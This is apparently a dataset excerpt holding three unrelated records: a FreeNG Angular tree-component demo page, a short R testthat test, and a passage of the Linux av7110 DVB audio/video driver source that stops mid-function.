    \n \n \n \n {{'PROPERTY' | translate}}\n {{'TYPE' | translate}}\n {{'DESCRIPTION' | translate}}\n \n \n \n \n label\n \n String\n \n \n {{'DEMO.TREE.CHILD.0' | translate}}\n \n \n \n data\n \n any\n \n \n {{'DEMO.TREE.CHILD.1' | translate}}\n \n \n \n type\n \n String\n \n \n {{'DEMO.TREE.CHILD.2' | translate}}\n \n \n \n icon\n \n any\n \n \n {{'DEMO.TREE.CHILD.3' | translate}}\n \n \n \n expandedIcon\n \n String\n \n \n {{'DEMO.TREE.CHILD.4' | translate}}\n \n \n \n collapsedIcon\n \n String\n \n \n {{'DEMO.TREE.CHILD.5' | translate}}\n \n \n \n leaf\n \n Boolean\n \n \n {{'DEMO.TREE.CHILD.6' | translate}}\n \n \n \n expanded\n \n Boolean\n \n \n {{'DEMO.TREE.CHILD.7' | translate}}\n \n \n \n style\n \n String\n \n \n {{'DEMO.TREE.CHILD.8' | translate}}\n \n \n \n styleClass\n \n String\n \n \n {{'DEMO.TREE.CHILD.9' | translate}}\n \n \n \n selectable\n \n Boolean\n \n \n {{'DEMO.TREE.CHILD.10' | translate}}\n \n \n \n children\n \n TreeNode[]\n \n \n {{'DEMO.TREE.CHILD.11' | translate}}\n \n \n \n \n
    \n
    \n\n
    \n
    \n
    \n

    Import

    \n \n \n \n import {TreeModule} from 'freeng/freeng';\n \n \n \n
    \n
    \n\n
    \n

    Default

    \n \n \n \n \n \n \n <free-tree [menus]=\"tree1\"></free-tree>\n \n\n

    Javasript:

    \n \n this.mainTreeService.getFiles().subscribe(files => this.tree1 = files['data']);\n\n getFiles() {\n return this.http.get('assets/json/files.json');\n }\n \n\n

    JSON:

    \n \n {\n \"data\": [\n {\n \"label\": \"freeng\",\n \"data\": \"freeng project\",\n \"expandedIcon\": \"fa-folder-open\",\n \"collapsedIcon\": \"fa-folder\",\n \"children\": [\n {\n \"label\": \"src\",\n \"data\": \"src resources\",\n \"expandedIcon\": \"fa-folder-open\",\n \"collapsedIcon\": \"fa-folder\",\n \"children\": [\n {\n \"label\": \"app\",\n \"data\": \"app resources\",\n \"expandedIcon\": \"fa-folder-open\",\n \"collapsedIcon\": \"fa-folder\",\n \"children\": [\n {\n \"label\": \"app.module.ts\",\n \"icon\": \"fa-file-word-o\",\n \"data\": \"app.module.ts\"\n },\n {\n \"label\": \"app.component.ts\",\n \"icon\": \"fa-file-word-o\",\n \"data\": \"app.component.ts\"\n }\n ]\n },\n {\n \"label\": \"index.html\",\n \"icon\": \"fa-file-word-o\",\n \"data\": \"index.html\"\n },\n {\n \"label\": \"style.css\",\n \"icon\": \"fa-file-word-o\",\n \"data\": \"style.css\"\n }\n ]\n },\n {\n \"label\": \"package.json\",\n \"icon\": \"fa-file-word-o\",\n \"data\": \"package.json\"\n }\n ]\n }\n ]\n }\n \n
    \n
    \n
    \n\n
    \n

    Loader

    \n \n \n \n \n \n \n <free-tree [value]=\"tree6\" [loading]=\"loading\"></free-tree>\n \n\n

    Javasript:

    \n \n this.mainTreeService.getFiles().subscribe(files => {\n setTimeout(() => {\n this.tree6 = files['data'];\n this.loading = false;\n }, 1000);\n });\n \n
    \n
    \n
    \n\n
    \n

    Single Selection

    \n \n \n \n
    Selected Node: {{selectedFile ? selectedFile.label : 'none'}}
    \n
    \n \n \n <free-tree [value]=\"tree2\" selectionMode=\"single\" [(selection)]=\"selectedFile\"></free-tree>\n \n\n

    Javasript:

    \n \n this.selectedFile = [];\n\n this.mainTreeService.getFiles().subscribe(files => this.tree2 = files['data']);\n \n
    \n
    \n
    \n\n
    \n

    Multiple Selection with Checkbox

    \n \n \n \n
    Selected Nodes: \n {{file.label}}
    \n
    \n \n \n <free-tree [value]=\"tree3\" selectionMode=\"checkbox\" [(selection)]=\"selectedFiles2\"></free-tree>\n \n\n

    Javasript:

    \n \n this.mainTreeService.getFiles().subscribe(files => this.tree3 = files['data']);\n \n
    \n
    \n
    \n\n
    \n

    Lazy Loading

    \n \n \n \n \n \n \n <free-tree [value]=\"tree4\" (onNodeExpand)=\"nodeExpand($event)\"></free-tree>\n \n\n

    Javasript:

    \n \n this.mainTreeService.getLazyFiles().subscribe(files => this.tree4 = files['data']);\n\n nodeExpand(event) {\n if (event.node) {\n this.mainTreeService.getLazyFiles().subscribe(nodes => event.node.children = nodes['data']);\n }\n }\n \n
    \n
    \n
    \n\n
    \n

    Template

    \n \n \n \n \n \n \n \n \n \n \n <free-tree [value]=\"tree5\" [styleClass]=\"'tree-template'\">\n <ng-template let-node [fTemplate]=\"'default'\">\n <button fButton>{{node['label']}}</button>\n </ng-template>\n </free-tree>\n \n \n \n
    \n
    \n
    \n
    FreeNG - {{'MOTTO' | translate}}
    \n
    \n"} +{"text": "context(\"deparse\")\n\ntest_that(\"deparse\", {\n f = function(num, na.ok) {\n assertNumber(num)\n qassert(na.ok, \"B1\")\n }\n\n expect_true(f(1, TRUE))\n expect_error(f(NULL, TRUE), \"num\")\n expect_error(f(1, NULL), \"na.ok\")\n})\n"} +{"text": "/*\n * av7110_av.c: audio and video MPEG decoder stuff\n *\n * Copyright (C) 1999-2002 Ralph Metzler\n * & Marcus Metzler for convergence integrated media GmbH\n *\n * originally based on code by:\n * Copyright (C) 1998,1999 Christian Theiss \n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n *\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * To obtain the license, point your browser to\n * http://www.gnu.org/copyleft/gpl.html\n *\n *\n * the project's page is at https://linuxtv.org\n */\n\n#include \n#include \n#include \n#include \n#include \n\n#include \"av7110.h\"\n#include \"av7110_hw.h\"\n#include \"av7110_av.h\"\n#include \"av7110_ipack.h\"\n\n/* MPEG-2 (ISO 13818 / H.222.0) stream types */\n#define PROG_STREAM_MAP 0xBC\n#define PRIVATE_STREAM1 0xBD\n#define PADDING_STREAM\t 0xBE\n#define PRIVATE_STREAM2 0xBF\n#define AUDIO_STREAM_S\t 0xC0\n#define AUDIO_STREAM_E\t 0xDF\n#define VIDEO_STREAM_S\t 0xE0\n#define VIDEO_STREAM_E\t 0xEF\n#define ECM_STREAM\t 0xF0\n#define EMM_STREAM\t 0xF1\n#define DSM_CC_STREAM\t 0xF2\n#define ISO13522_STREAM 0xF3\n#define PROG_STREAM_DIR 0xFF\n\n#define PTS_DTS_FLAGS\t 0xC0\n\n//pts_dts flags\n#define PTS_ONLY\t 0x80\n#define PTS_DTS\t\t 0xC0\n#define TS_SIZE\t\t 188\n#define TRANS_ERROR\t 0x80\n#define PAY_START\t 0x40\n#define TRANS_PRIO\t 0x20\n#define PID_MASK_HI\t 0x1F\n//flags\n#define TRANS_SCRMBL1\t 0x80\n#define TRANS_SCRMBL2\t 0x40\n#define ADAPT_FIELD\t 0x20\n#define PAYLOAD\t\t 0x10\n#define COUNT_MASK\t 0x0F\n\n// adaptation flags\n#define DISCON_IND\t 0x80\n#define RAND_ACC_IND\t 0x40\n#define ES_PRI_IND\t 0x20\n#define PCR_FLAG\t 0x10\n#define OPCR_FLAG\t 0x08\n#define SPLICE_FLAG\t 0x04\n#define TRANS_PRIV\t 0x02\n#define ADAP_EXT_FLAG\t 0x01\n\n// adaptation extension flags\n#define LTW_FLAG\t 0x80\n#define PIECE_RATE\t 0x40\n#define SEAM_SPLICE\t 0x20\n\n\nstatic void p_to_t(u8 const *buf, long int length, u16 pid,\n\t\t u8 *counter, struct dvb_demux_feed *feed);\nstatic int write_ts_to_decoder(struct av7110 *av7110, int type, const u8 *buf, size_t len);\n\n\nint av7110_record_cb(struct dvb_filter_pes2ts *p2t, u8 *buf, size_t len)\n{\n\tstruct dvb_demux_feed *dvbdmxfeed = (struct dvb_demux_feed *) p2t->priv;\n\n\tif (!(dvbdmxfeed->ts_type & TS_PACKET))\n\t\treturn 0;\n\tif (buf[3] == 0xe0)\t // video PES do not have a length in TS\n\t\tbuf[4] = buf[5] = 0;\n\tif (dvbdmxfeed->ts_type & TS_PAYLOAD_ONLY)\n\t\treturn dvbdmxfeed->cb.ts(buf, len, NULL, 0,\n\t\t\t\t\t &dvbdmxfeed->feed.ts);\n\telse\n\t\treturn dvb_filter_pes2ts(p2t, buf, len, 1);\n}\n\nstatic int dvb_filter_pes2ts_cb(void *priv, unsigned char *data)\n{\n\tstruct dvb_demux_feed *dvbdmxfeed = (struct dvb_demux_feed *) priv;\n\n\tdvbdmxfeed->cb.ts(data, 188, NULL, 0,\n\t\t\t &dvbdmxfeed->feed.ts);\n\treturn 0;\n}\n\nint av7110_av_start_record(struct av7110 *av7110, int av,\n\t\t\t struct dvb_demux_feed *dvbdmxfeed)\n{\n\tint ret = 0;\n\tstruct dvb_demux *dvbdmx = dvbdmxfeed->demux;\n\n\tdprintk(2, \"av7110:%p, , dvb_demux_feed:%p\\n\", av7110, dvbdmxfeed);\n\n\tif (av7110->playing || (av7110->rec_mode & av))\n\t\treturn -EBUSY;\n\tav7110_fw_cmd(av7110, COMTYPE_REC_PLAY, __Stop, 0);\n\tdvbdmx->recording = 1;\n\tav7110->rec_mode |= av;\n\n\tswitch (av7110->rec_mode) {\n\tcase RP_AUDIO:\n\t\tdvb_filter_pes2ts_init(&av7110->p2t[0],\n\t\t\t\t dvbdmx->pesfilter[0]->pid,\n\t\t\t\t dvb_filter_pes2ts_cb,\n\t\t\t\t (void *) dvbdmx->pesfilter[0]);\n\t\tret = av7110_fw_cmd(av7110, COMTYPE_REC_PLAY, __Record, 2, AudioPES, 0);\n\t\tbreak;\n\n\tcase RP_VIDEO:\n\t\tdvb_filter_pes2ts_init(&av7110->p2t[1],\n\t\t\t\t dvbdmx->pesfilter[1]->pid,\n\t\t\t\t dvb_filter_pes2ts_cb,\n\t\t\t\t (void *) dvbdmx->pesfilter[1]);\n\t\tret = av7110_fw_cmd(av7110, COMTYPE_REC_PLAY, __Record, 2, VideoPES, 0);\n\t\tbreak;\n\n\tcase RP_AV:\n\t\tdvb_filter_pes2ts_init(&av7110->p2t[0],\n\t\t\t\t dvbdmx->pesfilter[0]->pid,\n\t\t\t\t dvb_filter_pes2ts_cb,\n\t\t\t\t (void *) dvbdmx->pesfilter[0]);\n\t\tdvb_filter_pes2ts_init(&av7110->p2t[1],\n\t\t\t\t dvbdmx->pesfilter[1]->pid,\n\t\t\t\t dvb_filter_pes2ts_cb,\n\t\t\t\t (void *) dvbdmx->pesfilter[1]);\n\t\tret = av7110_fw_cmd(av7110, COMTYPE_REC_PLAY, __Record, 2, AV_PES, 0);\n\t\tbreak;\n\t}\n\treturn ret;\n}\n\nint av7110_av_start_play(struct av7110 *av7110, int av)\n{\n\tint ret = 0;\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\tif (av7110->rec_mode)\n\t\treturn -EBUSY;\n\tif (av7110->playing & av)\n\t\treturn -EBUSY;\n\n\tav7110_fw_cmd(av7110, COMTYPE_REC_PLAY, __Stop, 0);\n\n\tif (av7110->playing == RP_NONE) {\n\t\tav7110_ipack_reset(&av7110->ipack[0]);\n\t\tav7110_ipack_reset(&av7110->ipack[1]);\n\t}\n\n\tav7110->playing |= av;\n\tswitch (av7110->playing) {\n\tcase RP_AUDIO:\n\t\tret = av7110_fw_cmd(av7110, COMTYPE_REC_PLAY, __Play, 2, AudioPES, 0);\n\t\tbreak;\n\tcase RP_VIDEO:\n\t\tret = av7110_fw_cmd(av7110, COMTYPE_REC_PLAY, __Play, 2, VideoPES, 0);\n\t\tav7110->sinfo = 0;\n\t\tbreak;\n\tcase RP_AV:\n\t\tav7110->sinfo = 0;\n\t\tret = av7110_fw_cmd(av7110, COMTYPE_REC_PLAY, __Play, 2, AV_PES, 0);\n\t\tbreak;\n\t}\n\treturn ret;\n}\n\nint av7110_av_stop(struct av7110 *av7110, int av)\n{\n\tint ret = 0;\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\tif (!(av7110->playing & av) && !(av7110->rec_mode & av))\n\t\treturn 0;\n\tav7110_fw_cmd(av7110, COMTYPE_REC_PLAY, __Stop, 0);\n\tif (av7110->playing) {\n\t\tav7110->playing &= ~av;\n\t\tswitch (av7110->playing) {\n\t\tcase RP_AUDIO:\n\t\t\tret = av7110_fw_cmd(av7110, COMTYPE_REC_PLAY, __Play, 2, AudioPES, 0);\n\t\t\tbreak;\n\t\tcase RP_VIDEO:\n\t\t\tret = av7110_fw_cmd(av7110, COMTYPE_REC_PLAY, __Play, 2, VideoPES, 0);\n\t\t\tbreak;\n\t\tcase RP_NONE:\n\t\t\tret = av7110_set_vidmode(av7110, av7110->vidmode);\n\t\t\tbreak;\n\t\t}\n\t} else {\n\t\tav7110->rec_mode &= ~av;\n\t\tswitch (av7110->rec_mode) {\n\t\tcase RP_AUDIO:\n\t\t\tret = av7110_fw_cmd(av7110, COMTYPE_REC_PLAY, __Record, 2, AudioPES, 0);\n\t\t\tbreak;\n\t\tcase RP_VIDEO:\n\t\t\tret = av7110_fw_cmd(av7110, COMTYPE_REC_PLAY, __Record, 2, VideoPES, 0);\n\t\t\tbreak;\n\t\tcase RP_NONE:\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn ret;\n}\n\n\nint av7110_pes_play(void *dest, struct dvb_ringbuffer *buf, int dlen)\n{\n\tint len;\n\tu32 sync;\n\tu16 blen;\n\n\tif (!dlen) {\n\t\twake_up(&buf->queue);\n\t\treturn -1;\n\t}\n\twhile (1) {\n\t\tlen = dvb_ringbuffer_avail(buf);\n\t\tif (len < 6) {\n\t\t\twake_up(&buf->queue);\n\t\t\treturn -1;\n\t\t}\n\t\tsync = DVB_RINGBUFFER_PEEK(buf, 0) << 24;\n\t\tsync |= DVB_RINGBUFFER_PEEK(buf, 1) << 16;\n\t\tsync |= DVB_RINGBUFFER_PEEK(buf, 2) << 8;\n\t\tsync |= DVB_RINGBUFFER_PEEK(buf, 3);\n\n\t\tif (((sync &~ 0x0f) == 0x000001e0) ||\n\t\t ((sync &~ 0x1f) == 0x000001c0) ||\n\t\t (sync == 0x000001bd))\n\t\t\tbreak;\n\t\tprintk(\"resync\\n\");\n\t\tDVB_RINGBUFFER_SKIP(buf, 1);\n\t}\n\tblen = DVB_RINGBUFFER_PEEK(buf, 4) << 8;\n\tblen |= DVB_RINGBUFFER_PEEK(buf, 5);\n\tblen += 6;\n\tif (len < blen || blen > dlen) {\n\t\t//printk(\"buffer empty - avail %d blen %u dlen %d\\n\", len, blen, dlen);\n\t\twake_up(&buf->queue);\n\t\treturn -1;\n\t}\n\n\tdvb_ringbuffer_read(buf, dest, (size_t) blen);\n\n\tdprintk(2, \"pread=0x%08lx, pwrite=0x%08lx\\n\",\n\t (unsigned long) buf->pread, (unsigned long) buf->pwrite);\n\twake_up(&buf->queue);\n\treturn blen;\n}\n\n\nint av7110_set_volume(struct av7110 *av7110, unsigned int volleft,\n\t\t unsigned int volright)\n{\n\tunsigned int vol, val, balance = 0;\n\tint err;\n\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\tav7110->mixer.volume_left = volleft;\n\tav7110->mixer.volume_right = volright;\n\n\tswitch (av7110->adac_type) {\n\tcase DVB_ADAC_TI:\n\t\tvolleft = (volleft * 256) / 1036;\n\t\tvolright = (volright * 256) / 1036;\n\t\tif (volleft > 0x3f)\n\t\t\tvolleft = 0x3f;\n\t\tif (volright > 0x3f)\n\t\t\tvolright = 0x3f;\n\t\tif ((err = SendDAC(av7110, 3, 0x80 + volleft)))\n\t\t\treturn err;\n\t\treturn SendDAC(av7110, 4, volright);\n\n\tcase DVB_ADAC_CRYSTAL:\n\t\tvolleft = 127 - volleft / 2;\n\t\tvolright = 127 - volright / 2;\n\t\ti2c_writereg(av7110, 0x20, 0x03, volleft);\n\t\ti2c_writereg(av7110, 0x20, 0x04, volright);\n\t\treturn 0;\n\n\tcase DVB_ADAC_MSP34x0:\n\t\tvol = (volleft > volright) ? volleft : volright;\n\t\tval\t= (vol * 0x73 / 255) << 8;\n\t\tif (vol > 0)\n\t\t balance = ((volright - volleft) * 127) / vol;\n\t\tmsp_writereg(av7110, MSP_WR_DSP, 0x0001, balance << 8);\n\t\tmsp_writereg(av7110, MSP_WR_DSP, 0x0000, val); /* loudspeaker */\n\t\tmsp_writereg(av7110, MSP_WR_DSP, 0x0006, val); /* headphonesr */\n\t\treturn 0;\n\n\tcase DVB_ADAC_MSP34x5:\n\t\tvol = (volleft > volright) ? volleft : volright;\n\t\tval = (vol * 0x73 / 255) << 8;\n\t\tif (vol > 0)\n\t\t\tbalance = ((volright - volleft) * 127) / vol;\n\t\tmsp_writereg(av7110, MSP_WR_DSP, 0x0001, balance << 8);\n\t\tmsp_writereg(av7110, MSP_WR_DSP, 0x0000, val); /* loudspeaker */\n\t\treturn 0;\n\t}\n\n\treturn 0;\n}\n\nint av7110_set_vidmode(struct av7110 *av7110, enum av7110_video_mode mode)\n{\n\tint ret;\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\tret = av7110_fw_cmd(av7110, COMTYPE_ENCODER, LoadVidCode, 1, mode);\n\n\tif (!ret && !av7110->playing) {\n\t\tret = ChangePIDs(av7110, av7110->pids[DMX_PES_VIDEO],\n\t\t\t av7110->pids[DMX_PES_AUDIO],\n\t\t\t av7110->pids[DMX_PES_TELETEXT],\n\t\t\t 0, av7110->pids[DMX_PES_PCR]);\n\t\tif (!ret)\n\t\t\tret = av7110_fw_cmd(av7110, COMTYPE_PIDFILTER, Scan, 0);\n\t}\n\treturn ret;\n}\n\n\nstatic enum av7110_video_mode sw2mode[16] = {\n\tAV7110_VIDEO_MODE_PAL, AV7110_VIDEO_MODE_NTSC,\n\tAV7110_VIDEO_MODE_NTSC, AV7110_VIDEO_MODE_PAL,\n\tAV7110_VIDEO_MODE_NTSC, AV7110_VIDEO_MODE_NTSC,\n\tAV7110_VIDEO_MODE_PAL, AV7110_VIDEO_MODE_NTSC,\n\tAV7110_VIDEO_MODE_PAL, AV7110_VIDEO_MODE_PAL,\n\tAV7110_VIDEO_MODE_PAL, AV7110_VIDEO_MODE_PAL,\n\tAV7110_VIDEO_MODE_PAL, AV7110_VIDEO_MODE_PAL,\n\tAV7110_VIDEO_MODE_PAL, AV7110_VIDEO_MODE_PAL,\n};\n\nstatic int get_video_format(struct av7110 *av7110, u8 *buf, int count)\n{\n\tint i;\n\tint hsize, vsize;\n\tint sw;\n\tu8 *p;\n\tint ret = 0;\n\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\tif (av7110->sinfo)\n\t\treturn 0;\n\tfor (i = 7; i < count - 10; i++) {\n\t\tp = buf + i;\n\t\tif (p[0] || p[1] || p[2] != 0x01 || p[3] != 0xb3)\n\t\t\tcontinue;\n\t\tp += 4;\n\t\thsize = ((p[1] &0xF0) >> 4) | (p[0] << 4);\n\t\tvsize = ((p[1] &0x0F) << 8) | (p[2]);\n\t\tsw = (p[3] & 0x0F);\n\t\tret = av7110_set_vidmode(av7110, sw2mode[sw]);\n\t\tif (!ret) {\n\t\t\tdprintk(2, \"playback %dx%d fr=%d\\n\", hsize, vsize, sw);\n\t\t\tav7110->sinfo = 1;\n\t\t}\n\t\tbreak;\n\t}\n\treturn ret;\n}\n\n\n/****************************************************************************\n * I/O buffer management and control\n ****************************************************************************/\n\nstatic inline long aux_ring_buffer_write(struct dvb_ringbuffer *rbuf,\n\t\t\t\t\t const u8 *buf, unsigned long count)\n{\n\tunsigned long todo = count;\n\tint free;\n\n\twhile (todo > 0) {\n\t\tif (dvb_ringbuffer_free(rbuf) < 2048) {\n\t\t\tif (wait_event_interruptible(rbuf->queue,\n\t\t\t\t\t\t (dvb_ringbuffer_free(rbuf) >= 2048)))\n\t\t\t\treturn count - todo;\n\t\t}\n\t\tfree = dvb_ringbuffer_free(rbuf);\n\t\tif (free > todo)\n\t\t\tfree = todo;\n\t\tdvb_ringbuffer_write(rbuf, buf, free);\n\t\ttodo -= free;\n\t\tbuf += free;\n\t}\n\n\treturn count - todo;\n}\n\nstatic void play_video_cb(u8 *buf, int count, void *priv)\n{\n\tstruct av7110 *av7110 = (struct av7110 *) priv;\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\tif ((buf[3] & 0xe0) == 0xe0) {\n\t\tget_video_format(av7110, buf, count);\n\t\taux_ring_buffer_write(&av7110->avout, buf, count);\n\t} else\n\t\taux_ring_buffer_write(&av7110->aout, buf, count);\n}\n\nstatic void play_audio_cb(u8 *buf, int count, void *priv)\n{\n\tstruct av7110 *av7110 = (struct av7110 *) priv;\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\taux_ring_buffer_write(&av7110->aout, buf, count);\n}\n\n\n#define FREE_COND_TS (dvb_ringbuffer_free(rb) >= 4096)\n\nstatic ssize_t ts_play(struct av7110 *av7110, const char __user *buf,\n\t\t unsigned long count, int nonblock, int type)\n{\n\tstruct dvb_ringbuffer *rb;\n\tu8 *kb;\n\tunsigned long todo = count;\n\n\tdprintk(2, \"%s: type %d cnt %lu\\n\", __func__, type, count);\n\n\trb = (type) ? &av7110->avout : &av7110->aout;\n\tkb = av7110->kbuf[type];\n\n\tif (!kb)\n\t\treturn -ENOBUFS;\n\n\tif (nonblock && !FREE_COND_TS)\n\t\treturn -EWOULDBLOCK;\n\n\twhile (todo >= TS_SIZE) {\n\t\tif (!FREE_COND_TS) {\n\t\t\tif (nonblock)\n\t\t\t\treturn count - todo;\n\t\t\tif (wait_event_interruptible(rb->queue, FREE_COND_TS))\n\t\t\t\treturn count - todo;\n\t\t}\n\t\tif (copy_from_user(kb, buf, TS_SIZE))\n\t\t\treturn -EFAULT;\n\t\twrite_ts_to_decoder(av7110, type, kb, TS_SIZE);\n\t\ttodo -= TS_SIZE;\n\t\tbuf += TS_SIZE;\n\t}\n\n\treturn count - todo;\n}\n\n\n#define FREE_COND (dvb_ringbuffer_free(&av7110->avout) >= 20 * 1024 && \\\n\t\t dvb_ringbuffer_free(&av7110->aout) >= 20 * 1024)\n\nstatic ssize_t dvb_play(struct av7110 *av7110, const char __user *buf,\n\t\t\tunsigned long count, int nonblock, int type)\n{\n\tunsigned long todo = count, n;\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\tif (!av7110->kbuf[type])\n\t\treturn -ENOBUFS;\n\n\tif (nonblock && !FREE_COND)\n\t\treturn -EWOULDBLOCK;\n\n\twhile (todo > 0) {\n\t\tif (!FREE_COND) {\n\t\t\tif (nonblock)\n\t\t\t\treturn count - todo;\n\t\t\tif (wait_event_interruptible(av7110->avout.queue,\n\t\t\t\t\t\t FREE_COND))\n\t\t\t\treturn count - todo;\n\t\t}\n\t\tn = todo;\n\t\tif (n > IPACKS * 2)\n\t\t\tn = IPACKS * 2;\n\t\tif (copy_from_user(av7110->kbuf[type], buf, n))\n\t\t\treturn -EFAULT;\n\t\tav7110_ipack_instant_repack(av7110->kbuf[type], n,\n\t\t\t\t\t &av7110->ipack[type]);\n\t\ttodo -= n;\n\t\tbuf += n;\n\t}\n\treturn count - todo;\n}\n\nstatic ssize_t dvb_play_kernel(struct av7110 *av7110, const u8 *buf,\n\t\t\tunsigned long count, int nonblock, int type)\n{\n\tunsigned long todo = count, n;\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\tif (!av7110->kbuf[type])\n\t\treturn -ENOBUFS;\n\n\tif (nonblock && !FREE_COND)\n\t\treturn -EWOULDBLOCK;\n\n\twhile (todo > 0) {\n\t\tif (!FREE_COND) {\n\t\t\tif (nonblock)\n\t\t\t\treturn count - todo;\n\t\t\tif (wait_event_interruptible(av7110->avout.queue,\n\t\t\t\t\t\t FREE_COND))\n\t\t\t\treturn count - todo;\n\t\t}\n\t\tn = todo;\n\t\tif (n > IPACKS * 2)\n\t\t\tn = IPACKS * 2;\n\t\tav7110_ipack_instant_repack(buf, n, &av7110->ipack[type]);\n\t\ttodo -= n;\n\t\tbuf += n;\n\t}\n\treturn count - todo;\n}\n\nstatic ssize_t dvb_aplay(struct av7110 *av7110, const char __user *buf,\n\t\t\t unsigned long count, int nonblock, int type)\n{\n\tunsigned long todo = count, n;\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\tif (!av7110->kbuf[type])\n\t\treturn -ENOBUFS;\n\tif (nonblock && dvb_ringbuffer_free(&av7110->aout) < 20 * 1024)\n\t\treturn -EWOULDBLOCK;\n\n\twhile (todo > 0) {\n\t\tif (dvb_ringbuffer_free(&av7110->aout) < 20 * 1024) {\n\t\t\tif (nonblock)\n\t\t\t\treturn count - todo;\n\t\t\tif (wait_event_interruptible(av7110->aout.queue,\n\t\t\t\t\t(dvb_ringbuffer_free(&av7110->aout) >= 20 * 1024)))\n\t\t\t\treturn count-todo;\n\t\t}\n\t\tn = todo;\n\t\tif (n > IPACKS * 2)\n\t\t\tn = IPACKS * 2;\n\t\tif (copy_from_user(av7110->kbuf[type], buf, n))\n\t\t\treturn -EFAULT;\n\t\tav7110_ipack_instant_repack(av7110->kbuf[type], n,\n\t\t\t\t\t &av7110->ipack[type]);\n\t\ttodo -= n;\n\t\tbuf += n;\n\t}\n\treturn count - todo;\n}\n\nvoid av7110_p2t_init(struct av7110_p2t *p, struct dvb_demux_feed *feed)\n{\n\tmemset(p->pes, 0, TS_SIZE);\n\tp->counter = 0;\n\tp->pos = 0;\n\tp->frags = 0;\n\tif (feed)\n\t\tp->feed = feed;\n}\n\nstatic void clear_p2t(struct av7110_p2t *p)\n{\n\tmemset(p->pes, 0, TS_SIZE);\n//\tp->counter = 0;\n\tp->pos = 0;\n\tp->frags = 0;\n}\n\n\nstatic int find_pes_header(u8 const *buf, long int length, int *frags)\n{\n\tint c = 0;\n\tint found = 0;\n\n\t*frags = 0;\n\n\twhile (c < length - 3 && !found) {\n\t\tif (buf[c] == 0x00 && buf[c + 1] == 0x00 &&\n\t\t buf[c + 2] == 0x01) {\n\t\t\tswitch ( buf[c + 3] ) {\n\t\t\tcase PROG_STREAM_MAP:\n\t\t\tcase PRIVATE_STREAM2:\n\t\t\tcase PROG_STREAM_DIR:\n\t\t\tcase ECM_STREAM :\n\t\t\tcase EMM_STREAM :\n\t\t\tcase PADDING_STREAM :\n\t\t\tcase DSM_CC_STREAM :\n\t\t\tcase ISO13522_STREAM:\n\t\t\tcase PRIVATE_STREAM1:\n\t\t\tcase AUDIO_STREAM_S ... AUDIO_STREAM_E:\n\t\t\tcase VIDEO_STREAM_S ... VIDEO_STREAM_E:\n\t\t\t\tfound = 1;\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\tc++;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t} else\n\t\t\tc++;\n\t}\n\tif (c == length - 3 && !found) {\n\t\tif (buf[length - 1] == 0x00)\n\t\t\t*frags = 1;\n\t\tif (buf[length - 2] == 0x00 &&\n\t\t buf[length - 1] == 0x00)\n\t\t\t*frags = 2;\n\t\tif (buf[length - 3] == 0x00 &&\n\t\t buf[length - 2] == 0x00 &&\n\t\t buf[length - 1] == 0x01)\n\t\t\t*frags = 3;\n\t\treturn -1;\n\t}\n\n\treturn c;\n}\n\nvoid av7110_p2t_write(u8 const *buf, long int length, u16 pid, struct av7110_p2t *p)\n{\n\tint c, c2, l, add;\n\tint check, rest;\n\n\tc = 0;\n\tc2 = 0;\n\tif (p->frags){\n\t\tcheck = 0;\n\t\tswitch(p->frags) {\n\t\tcase 1:\n\t\t\tif (buf[c] == 0x00 && buf[c + 1] == 0x01) {\n\t\t\t\tcheck = 1;\n\t\t\t\tc += 2;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tif (buf[c] == 0x01) {\n\t\t\t\tcheck = 1;\n\t\t\t\tc++;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\tcheck = 1;\n\t\t}\n\t\tif (check) {\n\t\t\tswitch (buf[c]) {\n\t\t\tcase PROG_STREAM_MAP:\n\t\t\tcase PRIVATE_STREAM2:\n\t\t\tcase PROG_STREAM_DIR:\n\t\t\tcase ECM_STREAM :\n\t\t\tcase EMM_STREAM :\n\t\t\tcase PADDING_STREAM :\n\t\t\tcase DSM_CC_STREAM :\n\t\t\tcase ISO13522_STREAM:\n\t\t\tcase PRIVATE_STREAM1:\n\t\t\tcase AUDIO_STREAM_S ... AUDIO_STREAM_E:\n\t\t\tcase VIDEO_STREAM_S ... VIDEO_STREAM_E:\n\t\t\t\tp->pes[0] = 0x00;\n\t\t\t\tp->pes[1] = 0x00;\n\t\t\t\tp->pes[2] = 0x01;\n\t\t\t\tp->pes[3] = buf[c];\n\t\t\t\tp->pos = 4;\n\t\t\t\tmemcpy(p->pes + p->pos, buf + c, (TS_SIZE - 4) - p->pos);\n\t\t\t\tc += (TS_SIZE - 4) - p->pos;\n\t\t\t\tp_to_t(p->pes, (TS_SIZE - 4), pid, &p->counter, p->feed);\n\t\t\t\tclear_p2t(p);\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\tc = 0;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tp->frags = 0;\n\t}\n\n\tif (p->pos) {\n\t\tc2 = find_pes_header(buf + c, length - c, &p->frags);\n\t\tif (c2 >= 0 && c2 < (TS_SIZE - 4) - p->pos)\n\t\t\tl = c2+c;\n\t\telse\n\t\t\tl = (TS_SIZE - 4) - p->pos;\n\t\tmemcpy(p->pes + p->pos, buf, l);\n\t\tc += l;\n\t\tp->pos += l;\n\t\tp_to_t(p->pes, p->pos, pid, &p->counter, p->feed);\n\t\tclear_p2t(p);\n\t}\n\n\tadd = 0;\n\twhile (c < length) 